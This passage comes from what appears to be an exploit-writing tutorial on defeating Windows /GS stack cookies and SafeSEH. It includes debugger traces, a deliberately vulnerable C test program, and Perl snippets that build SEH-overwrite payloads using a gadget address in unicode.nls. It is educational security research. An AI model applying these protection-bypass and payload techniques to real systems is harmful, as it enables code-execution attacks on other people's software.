\/><\/a><\/p>\n<p>- 0x0012ff70 = saved EIP<\/p>\n<p>- 0x0012ff74 = arguments<\/p>\n<p>- 0x0012ff78 = vtable pointer (points to 0x0040211c)<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; u 0040211c\ngsvtable!Foo::`vftable':\n0040211c 7010            jo      gsvtable!_load_config_used+0xe (0040212e)\n0040211e 40              inc     eax\n0040211f 004800          add     byte ptr [eax],cl\n00402122 0000            add     byte ptr [eax],al\n00402124 0000            add     byte ptr [eax],al\n00402126 0000            add     byte ptr [eax],al\n00402128 0000            add     byte ptr [eax],al\n0040212a 0000            add     byte ptr [eax],al<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Right before the strcpy begins, stack is set up like this :<\/p>\n<p>(so 32 bytes have been made available on the stack first (sub esp,20), making ESP point to 0x0012ff4c)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image34.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb34.png\" width=\"702\" height=\"137\" \/><\/a><\/p>\n<p>At 0x0012FF78, we see the vtable pointer. Stack at 0x0012ff5c contains 0012ff78.<\/p>\n<p>The stack cookie is first put in EAX and then XORed with EBP. It is then put on the stack (at 0x001268)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image35.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb35.png\" width=\"318\" height=\"135\" \/><\/a><\/p>\n<p>After writing AAAABBBBCCCCDDDD to the stack (thus already overflowing buffer buf[]), we have overwritten the cookie with CCCC and we are about to overwrite saved EIP with EEEE<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image36.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb36.png\" width=\"372\" height=\"111\" \/><\/a><\/p>\n<p>After the overwrite is complete, the stack looks like this :<\/p>\n<p>0x0012ff5c still points to 0x0012ff78, which points to vtable at 0x0040211c.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image37.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb37.png\" width=\"370\" height=\"217\" \/><\/a><\/p>\n<p>After performing the strcpy (overwriting the stack), the instructions at 0040104D will attempt to get the address of the virtual function bar() into eax.<\/p>\n<p>Before these instructions are executed, the registers look like this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image38.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb38.png\" width=\"366\" height=\"240\" \/><\/a><\/p>\n<p>Then, these 4 instructions are executed, attempting to load the address of the function into eax\u2026<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0040104D  |. 8B45 F0        MOV EAX,DWORD PTR SS:[EBP-10]\n00401050  |. 8B10           MOV EDX,DWORD PTR DS:[EAX]\n00401052  |. 8B4D F0        MOV ECX,DWORD PTR SS:[EBP-10]\n00401055  |. 8B02           MOV EAX,DWORD PTR DS:[EDX]<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>The end result of these 4 instructions is<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image39.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb39.png\" width=\"360\" height=\"188\" \/><\/a><\/p>\n<p>then, CALL EAX is made (in an attempt to launch the virtual function bar(), which really sits at 00401070).<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">00401057  |. FFD0           CALL EAX                 ;  gsvtable.00401070<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>but EAX now contains data we control\u2026<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image40.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb40.png\" width=\"337\" height=\"201\" \/><\/a><\/p>\n<p>=&gt; stack cookie got corrupted but we still control EIP (because we control EAX and have overwritten the vtable pointer). EBP and EDX seem to point to our buffer, so an exploit should be fairly easy to build.<\/p>\n<h3>SafeSeh<\/h3>\n<p>Safeseh is yet another security mechanism that helps blocking the abuse of SEH based exploitation at runtime. It is as compiler switch (\/safeSEH) that can be applied to all executable modules (so .exe files, .dll\u2019s etc). (read more at <a href=\"http:\/\/www.uninformed.org\/?v=5&amp;a=2&amp;t=sumry\" target=\"_blank\" rel=\"noopener\">uninformed v5a2<\/a>).<\/p>\n<p>Instead of protection the stack (by putting a cookie before the return address), modules compiled with this flag will include a list of all known addresses that can be used as exception handler functions.&#160; If an exception occurs, the application will check if the address in the SEH chain records belongs to the list with &quot;known&quot; functions, if the address belongs to a module that was compiled with safeseh. If that is not the case, the application will be terminated without jumping to the corrupted handler. The Microsoft implementation of the safeseh technique is (as of now) pretty stable and pretty much all Operating System modules are compiled with this flag.<\/p>\n<h3>Bypassing SafeSeh : Introduction<\/h3>\n<p>As explained in chapter 3 of this tutorial series, the only way safeseh can be bypassed is<\/p>\n<p>-&gt; Try not to execute a seh based exploit (but look for a direct ret overwrite instead \ud83d\ude42 )<\/p>\n<p>or<\/p>\n<p>-&gt; if the vulnerable application is not compiled with safeseh and one or more of the loaded modules (OS modules or application-specific modules) is\/are not compiled with safeseh, then you can use a pop pop ret address from one of the non-safeseh compiled modules to make it work. In fact, it\u2019s recommended to look for an application specific module (that is not safeseh compiled), because it would make your exploit more reliable across various versions of the OS.. but if you have to use an OS module, then it will work too (again, as long as it\u2019s not safeseh compiled).<\/p>\n<p>-&gt; If the only module without safeseh protection is the application\/binary itself, then you may still be able to pull off the exploit, under certain conditions. The application binary will (most likely) be loaded at an address that starts with a null byte. If you can find a pop pop ret instruction in this application binary, then you will be able to use that address (the null byte will be at the end), however you will not be able to put your shellcode after the se handler overwrite (because the shellcode would not be put in memory - the null byte would have acted as string terminator). So in this scenario, the exploit will only work if<\/p>\n<p>&#160;&#160; - the shellcode is put in the buffer before nseh\/seh are overwritten<\/p>\n<p>&#160;&#160; - the shellcode can be referenced utilizing the 4 bytes of available opcode (jumpcode) where nseh is overwritten. (a negative jump may do the trick here)<\/p>\n<p>&#160;&#160; - you can still trigger an exception (which may not be the case, because most exceptions occur when overflowing the stack, which will not work anymore when you stop at overwriting seh)<\/p>\n<p>For more information about seh and safeseh, have a look at <a title=\"\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/\" href=\"\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/\">https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/<\/a> and <a title=\"\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/\" href=\"\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/\">https:\/\/www.corelan.be\/index.php\/2009\/07\/28\/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b\/<\/a><\/p>\n<p>Also, most part of this chapter is based on work from David Litchfield (Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server)<\/p>\n<p>As stated earlier, starting with Windows server 2003, a new protection mechanism has been put in place. This technique should help stopping the abuse of exception handler overwrites. In short, this is how it works :<\/p>\n<p>When an exception handler pointer is about to get called, ntdll.dll (<em>KiUserExceptionDispatcher<\/em>) will check to see if this pointer is in fact a valid EH pointer. First, it tries to eliminate that the code would jump back to an address on the stack directly. It does this by getting the stack high and low address (by looking at the Thread Environment Block\u2019s (TEB) entry, looking at FS:[4] and FS:[8]). If the exception pointer is within that range (thus, if it points to an address on the stack), the handler will not be called.<\/p>\n<p>If the handler pointer is not a stack address, the address is checked against the list of loaded modules (and the executable image itself), to see whether it falls within the address range of one of these modules. If that is the case, the pointer is checked against the list of registered handlers. If there is a match, the pointer is allowed. I\u2019m not going to discuss the details on how the pointer is checked, but remember that one of the key checks are performed against the Load Configuration Directory. If the module does not have a Load Configuration Directory, the handler would be called.<\/p>\n<p>What if the address does not fall within the range of a loaded module ? Well, in that case, the handler is considered safe and will be called. (That\u2019s what we call Fail-Open security \ud83d\ude42<\/p>\n<p>There are a couple of possible exploit techniques for this new type of SEH protections :<\/p>\n<p>- If the address of the handler, as taken from the exception_registration structure, is outside the address range of a loaded module, then it is still executed.<\/p>\n<p>- If the address of the handler is inside the address range of a loaded module, but this loaded module does not have a Load Configuration Directory, and the DLL characteristics would allow us to pass the SE Handler verification test, the pointer will get called.<\/p>\n<p>- If the address of the handler is overwritten with a direct stack address, it will not be executed. But if the pointer to the exception handler is overwritten with a heap address, it will be called. (Of course, this involves loading your exploit in the heap and then trying to guess a more or less reliable address on the heap where you can redirect the application flow to. This may be difficult because this address may not be predictable).<\/p>\n<p>-If the exception_registration structure is overwritten and the pointer is set to an already registered handler, which executes code that helps you gaining control. Of course, this technique is only useful if that exception handler code does not break the shellcode and does in fact help putting a controlled address in EIP. True, this is rarely the case, but sometimes it happens.<\/p>\n<h3>Bypassing SafeSeh : Using an address outside the address range of loaded modules<\/h3>\n<p>The loaded modules\/executable image loaded into memory when an application runs most likely contains pointers to pop\/pop\/ret instructions, which is what we\u2019re usually after when building SEH based exploits. But this is not the only memory space where we can find similar instructions. If we can find a pop pop ret instruction in a location outside the address range of a loaded module, and this location is static (because for example it belongs to one of the Windows OS processes), then you can use that address as well. Unfortunately, even if you do find an address that is static, you\u2019ll find out that this address may not be the same address across different versions of the OS. So the exploit may only work if you are only targetting one specific version of the OS.<\/p>\n<p>Another (perhaps even better) way of overcoming this \u2018issue\u2019 is by looking at an other set of instructions.<\/p>\n<p>call dword ptr[esp+nn]&#160; \/ jmp dword ptr[esp+nn]&#160; \/ call dword ptr[ebp+nn]&#160; \/ jmp dword ptr[ebp+nn]&#160; \/ call dword ptr[ebp-nn]&#160; \/ jmp dword ptr[ebp-nn]<\/p>\n<p><em>(Possible offsets (nn) to look for are esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18)<\/em><\/p>\n<p>An alternative would be that, if esp+8 points to the exception_registration structure as well, then you could still look for a pop pop ret combination (in the memory space outside the range from the loaded modules) and it would work too.&#160; Finally, you can look for \u201cadd esp+8 + ret\u201d, which would bypass SafeSEH as well.<\/p>\n<p>Let\u2019s say we want to look for ebp+30. Convert the call and jmp instructions to opcodes :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; a\n004010cb call dword ptr[ebp+0x30]\ncall dword ptr[ebp+0x30]\n004010ce jmp dword ptr[ebp+0x30]\njmp dword ptr[ebp+0x30]\n004010d1 \n\n0:000&gt; u 004010cb\n004010cb ff5530          call    dword ptr [ebp+30h]\n004010ce ff6530          jmp     dword ptr [ebp+30h]<\/pre>\n<p>Now try to find an address location that contains these instructions, and is located outside of the loaded modules\/executable binary addres space, and you may have a winner.<\/p>\n<p>In order to demonstrate this, we\u2019ll use the simple code that was used to explain the \/GS (stack cookie) protection (example 1), and try to build a working exploit on Windows 2003 Server R2 SP2, English, Standard Edition.<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">#include &quot;<span style=\"color: #8b0000\">stdafx.h<\/span>&quot;\n#include &quot;<span style=\"color: #8b0000\">stdio.h<\/span>&quot;\n#include &quot;<span style=\"color: #8b0000\">windows.h<\/span>&quot;\n\n<span style=\"color: #0000ff\">void<\/span> GetInput(<span style=\"color: #0000ff\">char<\/span>* str, <span style=\"color: #0000ff\">char<\/span>* out)\n{\n\t<span style=\"color: #0000ff\">char<\/span> buffer[500];\n\t<span style=\"color: #0000ff\">try<\/span>\n\t{\n         strcpy(buffer,str);\n\t strcpy(out,buffer);\n         printf(&quot;<span style=\"color: #8b0000\">Input received : %s\\n<\/span>&quot;,buffer);\n\t}\n\t<span style=\"color: #0000ff\">catch<\/span> (<span style=\"color: #0000ff\">char<\/span> * strErr)\n\t{\n\t\tprintf(&quot;<span style=\"color: #8b0000\">No valid input received ! \\n<\/span>&quot;);\n\t\tprintf(&quot;<span style=\"color: #8b0000\">Exception : %s\\n<\/span>&quot;,strErr);\n\t}\n}\n\n<span style=\"color: #0000ff\">int<\/span> main(<span style=\"color: #0000ff\">int<\/span> argc, <span style=\"color: #0000ff\">char<\/span>* argv[])\n{\n    <span style=\"color: #0000ff\">char<\/span> buf2[128];\n    GetInput(argv[1],buf2);\n    <span style=\"color: #0000ff\">return<\/span> 0;\n}<\/pre>\n<p>This time, compile this executable without \/GS and \/RTc, but make sure the executable is safeseh enabled (so \/safeseh:no is not set under \u2018linker\u2019 command line options). Note : I am running Windows 2003 server R2 SP2 Standard edition, English, with DEP in OptIn mode (so only active for Windows core processes, which is <span style=\"text-decoration: underline\">not<\/span> the default setting on Windows 2003 server R2 SP2 . Don\u2019t worry - we\u2019ll talk about DEP\/NX later on).<\/p>\n<p>When loading this executable in ollydbg, we can see that all modules and executables are safeseh protected.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image41.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb41.png\" width=\"668\" height=\"85\" \/><\/a><\/p>\n<p>We will overwrite the SE structure after 508 bytes. So the following code will put \u201cBBBB\u201d in next_seh and \u201cDDDD\u201d in seh :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 109px; border-right: #cecece 1px solid; width: 671px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">my<\/span> $size=508;\n$junk=&quot;<span style=\"color: #8b0000\">A<\/span>&quot; x $size;\n$junk=$junk.&quot;<span style=\"color: #8b0000\">BBBB<\/span>&quot;;\n$junk=$junk.&quot;<span style=\"color: #8b0000\">DDDD<\/span>&quot;;\n<span style=\"color: #0000ff\">system<\/span>(&quot;<span style=\"color: #8b0000\">\\&quot;C:\\\\Program Files\\\\Debugging Tools for Windows (x86)\\\\windbg\\&quot; seh \\&quot;$junk\\&quot;\\r\\n<\/span>&quot;);<\/pre>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">Executable search path is:\nModLoad: 00400000 00406000   seh.exe\nModLoad: 7c800000 7c8c2000   ntdll.dll\nModLoad: 77e40000 77f42000   C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\kernel32.dll\nModLoad: 78520000 785c3000   C:\\WINDOWS\\WinSxS\\x86_Microsoft.VC90\u2026dll\n(c5c.c64): Break instruction exception - code 80000003 (first chance)\neax=78600000 ebx=7ffdb000 ecx=00000005 edx=00000020 esi=7c8897f4 edi=00151f38\neip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!DbgBreakPoint:\n7c81a3e1 cc              <span style=\"color: #0000ff\">int<\/span>     3\n0:000&gt; g\n(c5c.c64): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a8\neip=004010cb esp=0012fcb4 ebp=0012feec iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206\nseh!GetInput+0xcb:\n004010cb 8802            mov     byte ptr [edx],al          ds:0023:00130000=41\n0:000&gt; !exchain\n0012fee0: 44444444\nInvalid exception stack at 42424242<\/pre>\n<p>ok, so far so good. Now we need to find an address to put in seh. All modules (and the executable binary) are safeseh compiled, so we cannot use an address from these ranges.<\/p>\n<p>Let\u2019s search memory for call\/jmp dword ptr[reg+nn] instructions. We know that<\/p>\n<p>opcode ff 55 30 = call dword ptr [ebp+0x30] and opcode ff 65 30 = jmp dword ptr [ebp+0x30]<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; s 0100000 l 77fffff <strong><span style=\"color: #ff0000\">ff 55 30<\/span><\/strong>\n00270b0b  ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e  .U0......W0.....<\/pre>\n<p>Alternatively, you can use my own pvefindaddr pycommand plugin for immunity debugger to help finding those addresses. The !pvefindaddr jseh command will look for all call\/jmp combinations automatically and only list the ones that are outside the range of a loaded module :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image48.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb48.png\" width=\"617\" height=\"226\" \/><\/a><\/p>\n<p>(note - the screenshot above is from another system, please disregard the address that was found for now). If you want a copy of this plugin :<\/p>\n<p>[download id=31]<\/p>\n<p>Also, you can get a view on the memory map using immunitydebugger or ollydbg, so you can see where an address belongs to.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image42.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb42.png\" width=\"622\" height=\"300\" \/><\/a><\/p>\n<p>You can also use the <a href=\"http:\/\/www.microsoft.com\/downloads\/details.aspx?FamilyID=3fe0961b-ea72-40eb-a052-f68bac5a8ec1&amp;displaylang=en\" target=\"_blank\" rel=\"noopener\">Microsoft vadump tool<\/a> to dump the virtual address space segments.<\/p>\n<p>Get back to our search operation. If you want to look for more\/different similar instructions (basically increasing the search scope), leave out the offset value in your search (or just use the pvefindaddr plugin in immdbg and you\u2019ll get all results right away):<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; <strong>s 0100000 l 77fffff <span style=\"color: #ff0000\">ff 55<\/span><\/strong>\n00267643  ff 55 ff 61 ff 54 ff 57-ff dc ff 58 ff cc ff f3  .U.a.T.W...X....\n00270b0b  ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e  .U0......W0.....\n002fbfd8  ff 55 02 02 02 56 02 02-03 56 02 02 04 56 02 02  .U...V...V...V..\n00401183  ff 55 8b ec f6 45 08 02-57 8b f9 74 25 56 68 54  .U...E..W..t%VhT\n0040149e  ff 55 14 eb ed 8b 45 ec-89 45 e4 8b 45 e4 8b 00  .U....E..E..E...\n00401509  ff 55 14 eb f0 c7 45 e4-01 00 00 00 c7 45 fc fe  .U....E......E..\n00401542  ff 55 8b ec 8b 45 08 8b-00 81 38 63 73 6d e0 75  .U...E....8csm.u\n0040163e  ff 55 8b ec ff 75 08 e8-4e ff ff ff f7 d8 1b c0  .U...u..N.......\n004016b1  ff 55 8b ec 8b 4d 08 b8-4d 5a 00 00 66 39 01 74  .U...M..MZ..f9.t\n004016f1  ff 55 8b ec 8b 45 08 8b-48 3c 03 c8 0f b7 41 14  .U...E..H&lt;....A.\n00401741  ff 55 8b ec 6a fe 68 e8-22 40 00 68 65 18 40 00  .U..j.h.&quot;<span style=\"color: #8b0000\">@.he.@.\n<\/span>00401866  ff 55 8b ec ff 75 14 ff-75 10 ff 75 0c ff 75 08  .U...u..u..u..u.\n004018b9  ff 55 8b ec 83 ec 10 a1-28 30 40 00 83 65 f8 00  .U......(0@..e..\n0040198f  ff 55 8b ec 81 ec 28 03-00 00 a3 80 31 40 00 89  .U....(.....1@..<\/pre>\n<p>bingo ! Now we need to find the address that will make a jump to our structure. This address cannot reside in the address space of the binary or one of the loaded modules.<\/p>\n<p>By the way: if we look at the content of ebp when the exception occurs, we see<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">(be8.bdc): Break instruction exception - code 80000003 (first chance)\neax=78600000 ebx=7ffde000 ecx=00000005 edx=00000020 esi=7c8897f4 edi=00151f38\neip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!DbgBreakPoint:\n7c81a3e1 cc              <span style=\"color: #0000ff\">int<\/span>     3\n0:000&gt; g\n(be8.bdc): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a8\neip=004010cb esp=0012fcb4 ebp=0012feec iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206\nseh!GetInput+0xcb:\n004010cb 8802            mov     byte ptr [edx],al          ds:0023:00130000=41\n0:000&gt; d ebp\n0012feec  7c ff 12 00 79 11 40 00-f1 29 33 00 fc fe 12 00  |...y.@..)3.....\n0012fefc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff0c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff1c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff2c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff3c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff4c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff5c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA<\/pre>\n<p>Back to the search results. All addresses (see output of the search operation earlier) that start with 0x004 cannot be used (because they belong to the binary itself), and only 0x00270b0b will make the jump we want to take\u2026 This address belongs to unicode.nls (and not to any of the loaded modules). If you look at the virtual address space for multiple processes (svchost.exe, w3wp.exe, csrss.exe etc), you can see that unicode.nls is mapped in a lot of processes (not all of them), at a different base address. Luckily, the base address remains static for each process. For console applications, it will always be mapped at 0x00260000 (on Windows 2003 Server R2 Standard SP2 English, which makes the exploit reliable. On Windows XP SP3 English, it is mapped at 0x00270000 (so the address to use on XP SP3 would be 0x00280b0b)<\/p>\n<p>(again, you can use my own pvefindaddr pycommand, which will do all of this work automatically)<\/p>\n<p>The only issue we may need to deal with is the fact that our \u201ccall dword ptr[ebp+30h]\u201d address from unicode.nls starts with a null byte, and out input is ascii (null byte = string terminator) (so we won\u2019t be able to put our shellcode after overwriting seh\u2026 but perhaps we can put it before overwriting the SE structure and reference it anyway (or, alternatively, we could try to jump \u2018back\u2019 instead of forward. Anyways, we\u2019ll see). If this would have been a unicode exploit, it would not have been an issue (00 00 is the string terminator in unicode, not 00)<\/p>\n<p>Let\u2019s overwrite nextseh with some breakpoints, and put 0x00270b0b in seh :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 64px; border-right: #cecece 1px solid; width: 394px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">$junk=&quot;<span style=\"color: #8b0000\">A<\/span>&quot; x 508;\n$junk=$junk.&quot;<span style=\"color: #8b0000\">\\xcc\\xcc\\xcc\\xcc<\/span>&quot;;\n$junk=$junk.<span style=\"color: #0000ff\">pack<\/span>('V',0x00270b0b);<\/pre>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image43.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb43.png\" width=\"258\" height=\"205\" \/><\/a><\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 852px; border-right: #cecece 1px solid; width: 690px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; 